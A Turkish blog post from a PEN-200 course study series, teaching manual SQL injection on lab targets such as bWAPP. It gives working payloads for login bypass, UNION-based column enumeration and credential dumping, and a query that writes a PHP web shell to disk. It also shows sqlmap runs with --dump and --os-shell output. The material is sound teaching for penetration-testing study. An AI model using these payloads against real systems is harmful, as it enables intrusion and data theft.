Manual SQL Exploitation | PEN-200
Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin yirmi ikinci yazısı olan “Manual SQL Exploitation” konusunu ele alacağım. Keşfedildiği zaman oldukça tehlikeli sonuçlara neden olabilecek bir zafiyet türü olan SQL Injection, manuel olarak exploit edildiğinde çok daha verimli olmaktadır. Bu konuyu aşağıda detaylı olarak ele alacağız.
SQL enjeksiyonları keşfedildikten sonra sıklıkla sqlmap gibi otomatize araçlar kullanılarak kötüye kullanılır. Bu araçları kullanmak iz bırakma ve çeşitli engellere takılma riskini artırmaktadır. Bu sebeple, öncelikle bir güvenlik açığının mekaniğini kavramak için manuel olarak nasıl tetikleneceğini anlamalıyız.
Identifying SQLi via Error-based Payloads
Zafiyeti incelemek için aşağıdaki kodu kullanalım.
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>
Hem uname hem de password parametreleri kullanıcı tarafından sağlanan girdilerden geldiğinden, $sql_query değişkenini kontrol edebilir ve farklı bir SQL sorgusu oluşturabiliriz.
Bazı durumlarda SQL enjeksiyonu, keşfedeceğimiz ilk istismar yolu olan kimlik doğrulamanın bypass edilmesine yol açabilir. Uname değerine kapanmasını zorlayarak ve bir OR =1=1 ifadesinin ardından bir – – yorum satırı ve iki eğik çizgi (//) ekleyerek, SQL ifadesini erken sonlandırabiliriz. Bu tür bir yorumun sözdizimi, ardışık iki tire ve ardından en az bir boşluk karakteri gerektirir.
admin' OR 1=1 -- //
$sql_query değişkenine atanan yukarıdaki payload, aşağıdaki SQL sorgusunun PHP uygulamasından MySQL sunucusuna iletilmesiyle sonuçlanır.
SELECT * FROM users WHERE user_name= 'admin' OR 1=1 --
Her zaman doğru olacak bir OR deyimi eklediğimiz için, WHERE deyimi, kullanıcı kaydının mevcut olup olmadığına bakılmaksızın veri tabanında bulunan ilk kullanıcı kimliğini döndürecektir. Uygulamada başka hiçbir kontrol uygulanmadığından, kimlik doğrulama mantığını aşarak yönetici ayrıcalıkları kazanabiliyoruz.
Aşağıda canlı bir örnekte bunu test edelim.
SQL syntax hatası alıyoruz, bu da veri tabanıyla etkileşim kurabildiğimiz anlamına geliyor. Payload kullanarak giriş formunu bypass etmeyi deneyelim.
Görüldüğü üzere yukarıda yer alan payload ile giriş formunu bypass etmeyi başardık. SQL injectionu keşfettikten sonra çeşitli sql sorguları kullanarak versiyon sorgulaması, kullanıcılar, parolalar, database ismi, tablo ismi, kolon ismi vb. her şeyi çekebiliriz. bWAPP SQL INJECTION yazıma giderek sorguları inceleyebilirsiniz.
UNION-based Payloads
Bant içi SQL enjeksiyonlarıyla uğraştığımızda, sorgunun sonucu uygulamanın döndürdüğü değerle birlikte görüntülendiğinde, UNION tabanlı SQL enjeksiyonlarını da test etmeliyiz.
UNION anahtar sözcüğü, fazladan bir SELECT ifadesinin yürütülmesine olanak tanıdığı ve sonuçları aynı sorguda sağladığı ve böylece iki sorguyu tek bir ifadede birleştirdiği için kötüye kullanıma yardımcı olur.
UNION SQLi saldırılarının işe yaraması için öncelikle iki koşulu karşılamamız gerekir:
- Enjekte edilen UNION sorgusu, orijinal sorguyla aynı sayıda sütun içermelidir.
- Veri türlerinin her sütun arasında uyumlu olması gerekir.
Yukarıdaki gibi bir film arama butonumuz bulunmakta. Buraya çeşitli payloadlar göndererek sorgulamalar yapalım. İlk olarak sütun sayısını bulmamız gerekiyor. Bunun için ‘ ORDER BY 1– // payloadını 1 artırarak göndermeye başlayalım.
test’ ORDER BY 1,2,3,4,5,6,7,8– // payloadını gönderdik ve hata verdi. Bir kolon düşürerek tekrar gönderelim.
test’ ORDER BY 1,2,3,4,5,6,7– // payloadımızı gönderdiğimizde film bulunmadı hatası veriyor yani kolon sayımız 7. Kolon sayısını tespit ettikten sonra hangi kolonlardan veri çekebileceğimizi görelim.
test’ union select 1,2,3,4,5,6,7– // payloadını gönderdiğimizde ekrana yansıyan kolonları kullanarak verileri çekebiliriz.
Şimdi aşağıda database ismi, user ve versiyon sorgulaması yapalım.
test’ UNION SELECT null, database(), @@version, null, user(), null, null — // payloadımız ile bilgileri elde ettik. Şimdi ise aşağıda tablo isimleri, kolon isimleri gibi bilgileri çekelim.
test’ UNION SELECT null, table_Name, column_name, null, table_schema, null, null from information_Schema.columns where table_Schema=database() — // payloadı ile verileri çekmeyi başardık. Tablo ve kolon isimlerini öğrendikten sonra istediğimiz verileri dump edebiliriz.
test’ UNION SELECT null, login, password, null, email, null, null from users — // payloadı ile istediğimiz verileri dump ettik. Burada parola bilgileri MD5 hash halinde bunu toollar veya online hash crack araçları ile kırmayı deneyebilirsiniz.
Blind SQL Injections
Karşılaştığımız SQLi verileri bant içidir, yani sorgumuzun veri tabanı içeriğini web uygulaması içinden alabiliyoruz. Alternatif olarak, Blind SQL enjeksiyonları, veri tabanı yanıtlarının hiçbir zaman döndürülmediği ve davranışın boole veya zaman tabanlı mantık kullanılarak çıkarıldığı senaryoları tanımlar.
Örnek olarak, genel boole tabanlı Blind SQL enjeksiyonları, veri tabanı sorgusu TRUE veya FALSE sonucu döndürdüğünde uygulamanın farklı ve öngörülebilir değerler döndürmesine neden olur, dolayısıyla “boolean” adı verilir. Bu değerler uygulama bağlamında gözden geçirilebilir.
“boolean-based” Blind SQLi çeşidi gibi görünmese de, sonuçları çıkarmak için kullanılan çıktı veri tabanının kendisinden değil, web uygulamasından gelir
Time-based blind SQL enjeksiyonları, veri tabanına belirli bir süre beklemesi talimatını vererek sorgu sonuçlarını çıkarır. Tepki süresine bağlı olarak saldırgan, ifadenin TRUE mu yoksa FALSE mu olduğu sonucuna varabilir.
Boolean tabanlı Sqli test etmek için aşağıdaki sorguyu kullanabiliriz.
http://192.168.14.130/bWAPP/sqli_4.php?title=test' OR '1'='1' -- -//&action=search
test’ OR ‘1’=’1′ — -// payloadını gönderdiğimizde 1=1 her zaman doğru olduğu için TRUE döndürdü.
test’ OR ‘1’=’2′ — -// payloadını gönderdiğimizde 1=2 olmadığı için FALSE döndürdü. Bu sorgulamalardan sonra artık payloadı genişleterek ve geliştirerek tek tek sorgulama yapabiliriz fakat bu oldukça fazla zaman alacaktır. Bu tarz zafiyetler belirlendikten sonra SQLMAP aracını kullanmak bize zaman kazandıracaktır. bWAPP SQL INJECTION yazımda bu başlığa göz atabilirsiniz.
Manual Code Execution
Çeşitli MySQL veritabanı çeşitleri RCE‘ye yükseltme için tek bir işlev sunmasa da, web sunucusuna dosya yazmak için SELECT INTO_OUTFILE ifadesini kötüye kullanabiliriz.
Bu saldırının işe yaraması için dosya konumunun, veri tabanı yazılımını çalıştıran işletim sistemi kullanıcısı tarafından yazılabilir olması gerekir.
Örnek olarak, daha önce incelediğimiz MySQL hedef uygulamamızdaki UNION payloadını, diske bir web shell yazan sorguyu genişleterek devam ettirelim.
UNION SELECT SQL anahtar kelimelerini ilk sütuna tek bir PHP satırı içerecek şekilde düzenleyeceğiz ve bunu yazılabilir bir web klasörüne webshell.php olarak kaydedeceğiz.
test’ UNION SELECT null, “<?php system($_GET[‘cmd’]);?>“, null, null, null, null, null INTO OUTFILE
“/var/www/html/tmp/webshell.php” — //
Yukarıda yer alan komutu kullandıktan sonra ilgili dizine giderek komut çalıştıralım.
id komutu başarıyla çalıştı ve www-data kullanıcısı olduğumuzu öğrendik.
Artık komut yürütmeyi manuel olarak elde etmek için SQLi’den nasıl yararlanacağımızı anladığımıza göre, belirli araçlarla sürecin nasıl otomatikleştirileceğini keşfedelim.
Automating the Attack (SQLMAP)
SQL enjeksiyon zafiyetleri, Kali Linux‘a önceden yüklenmiş çeşitli araçlar kullanılarak otomatikleştirilebilir. Özellikle sqlmap, çeşitli veritabanı motorlarına karşı SQL enjeksiyon güvenlik açıklarını tanımlayabilir ve bunlardan yararlanabilir.
Örnek web uygulamamız üzerinde sqlmap’i çalıştıralım. Taramak istediğimiz URL’yi -u ile ayarlayacağız ve test edilecek parametreyi -p kullanarak belirleyeceğiz:
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
___
__H__
___ ___[,]_____ ___ ___ {1.6.4#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...
[*] starting @ 02:14:54 PM /2024-22-06/
[14:14:54] [INFO] resuming back-end DBMS 'mysql'
[14:14:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to
follow? [Y/n]
you have not declared cookie(s), while server wants to set its own
('PHPSESSID=fbf1f5fa5fc...a7266cba36'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:14:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, PHP 7.3.33, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12
[14:14:57] [INFO] fetched data logged to text files under
'/home/kali/.local/share/sqlmap/output/192.168.50.16'
[*] ending @ 02:14:57 PM /2024-22-06/
URL’nin tamamını -u belirticisinden sonra, kullanıcı parametresi yapay bir değere ayarlanmış olarak gönderdik. Başlatıldıktan sonra varsayılan seçeneklere Ion basabiliriz. Sqlmap daha sonra zamana dayalı kör SQL enjeksiyonu ile karşı karşıya olduğumuzun onayını verir ve web sunucusu işletim sistemi, web uygulama teknolojisi yığını ve arka uç veri tabanı gibi ek parmak izi bilgileri sağlar.
Yukarıdaki komut, hedef URL’nin SQLi’ye karşı savunmasız olduğunu doğrulasa da, veri tabanı tablosunu boşaltmak ve kullanıcı kimlik bilgilerini çalmak için sqlmap kullanabiliriz.
Kullanıcı kimlik bilgileri de dahil olmak üzere tüm veri tabanını boşaltmak için, daha önce olduğu gibi aynı komutu –dump parametresiyle çalıştırabiliriz.
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
...
[*] starting @ 02:23:49 PM /2024-22-06/
[14:23:49] [INFO] resuming back-end DBMS 'mysql'
[14:23:49] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to
follow? [Y/n]
you have not declared cookie(s), while server wants to set its own
('PHPSESSID=b7c9c962b85...c6c7205dd1'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:23:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.52, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12
[14:23:52] [WARNING] missing database parameter. sqlmap is going to use the current
database to enumerate table(s) entries
[14:23:52] [INFO] fetching current database
[02:23:52 PM] [WARNING] time-based comparison requires larger statistical model,
please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--
time-sec')? [Y/n]
[14:25:26] [WARNING] it is very important to not stress the network connection during
usage of time-based payloads to prevent potential disruptions
[14:25:26] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry
the request(s)
[14:25:47] [INFO] adjusting time delay to 2 seconds due to good response times
offsec
[14:27:01] [INFO] fetching tables for database: 'offsec'
[14:27:01] [INFO] fetching number of tables for database 'offsec'
[02:27:01 PM] [INFO] retrieved: 2
[02:27:11 PM] [INFO] retrieved: customers
[02:29:25 PM] [INFO] retrieved: users
[14:30:38] [INFO] fetching columns for table 'users' in database 'offsec'
[02:30:38 PM] [INFO] retrieved: 4
[02:30:44 PM] [INFO] retrieved: id
[02:31:14 PM] [INFO] retrieved: username
[02:33:02 PM] [INFO] retrieved: password
[02:35:09 PM] [INFO] retrieved: description
[14:37:56] [INFO] fetching entries for table 'users' in database 'offsec'
[14:37:56] [INFO] fetching number of entries for table 'users' in database 'offsec'
[02:37:56 PM] [INFO] retrieved: 4
[02:38:02 PM] [WARNING] (case) time-based comparison requires reset of statistical
model, please wait.............................. (done)
[14:38:24] [INFO] adjusting time delay to 1 second due to good response times
this is the admin
[02:40:54 PM] [INFO] retrieved: 1
[02:41:02 PM] [INFO] retrieved: 21232f297a57a5a743894a0e4a801fc3
[02:46:34 PM] [INFO] retrieved: admin
[02:47:15 PM] [INFO] retrieved: try harder
[02:48:44 PM] [INFO] retrieved: 2
[02:48:54 PM] [INFO] retrieved: f9664ea1803311b35f
...
blind time-based SQLi güvenlik açığıyla karşı karşıya olduğumuz için, tüm veri tabanı tablosunu getirme süreci oldukça yavaştır, ancak sonunda tüm kullanıcıların hashlenmiş kimlik bilgilerini almayı başarırız.
Başka bir sqlmap çekirdek özelliği, bize tam etkileşimli bir kabuk sağlayan –os-shell parametresidir.
Genel olarak yüksek gecikme süreleri nedeniyle, blind time-based SQLi, bir kabukla etkileşimde bulunurken ideal değildir, bu nedenle ilk UNION tabanlı SQLi örneğini kullanacağız. Bunu yapmak için Burp Suite ile isteği yakalayıp post.txt olarak kayıt ediyoruz.
Daha sonra, POST isteğini içeren dosyamızı argüman olarak kullanarak sqlmap’i -r parametresiyle kullanabiliriz. Ayrıca case öğemizde hangi parametrenin sqlmap’e karşı savunmasız olduğunu da belirtmemiz gerekiyor. Son olarak, daha önce bulduğumuz özel yazılabilir klasörün yanı sıra –os-shell‘i de ekleyeceğiz.
kali@kali:~$ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
...
[*] starting @ 02:20:47 PM /2024-22-06/
[14:20:47] [INFO] parsing HTTP request from 'post'
[14:20:47] [INFO] resuming back-end DBMS 'mysql'
[14:20:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item (POST)
...
---
[14:20:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6
[14:20:48] [INFO] going to use a web backdoor for command prompt
[14:20:48] [INFO] fingerprinting the back-end DBMS operating system
[14:20:48] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[14:20:49] [INFO] using '/var/www/html/tmp' as web server document root
[14:20:49] [INFO] retrieved web server absolute paths: '/var/www/html/search.php'
[14:20:49] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via LIMIT
'LINES TERMINATED BY' method
[14:20:50] [WARNING] unable to upload the file stager on '/var/www/html/tmp/'
[14:20:50] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via UNION
method
[14:20:50] [WARNING] expect junk characters inside the file as a leftover from UNION
query
[14:20:50] [INFO] the remote file '/var/www/html/tmp/tmpuqgek.php' is larger (713 B)
than the local file '/tmp/sqlmapxkydllxb82218/tmp3d64iosz' (709B)
[14:20:51] [INFO] the file stager has been successfully uploaded on
'/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpuqgek.php
[14:20:51] [INFO] the backdoor has been successfully uploaded on '/var/www/html/tmp/'
- http://192.168.50.19:80/tmp/tmpbetmz.php
[14:20:51] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: '/var/www/html/tmp'
Sqlmap güvenlik açığını doğruladıktan sonra bizden web uygulamasının yazıldığı dili (bu durumda PHP) sorar. Daha sonra sqlmap, web kabuğunu belirtilen web klasörüne yükler ve düzenli sistem komutları verebileceğimiz etkileşimli kabuğu döndürür.
PEN-200 serisinin yirmi ikinci yazısının sonuna geldik. Başka yazılarda görüşmek üzere.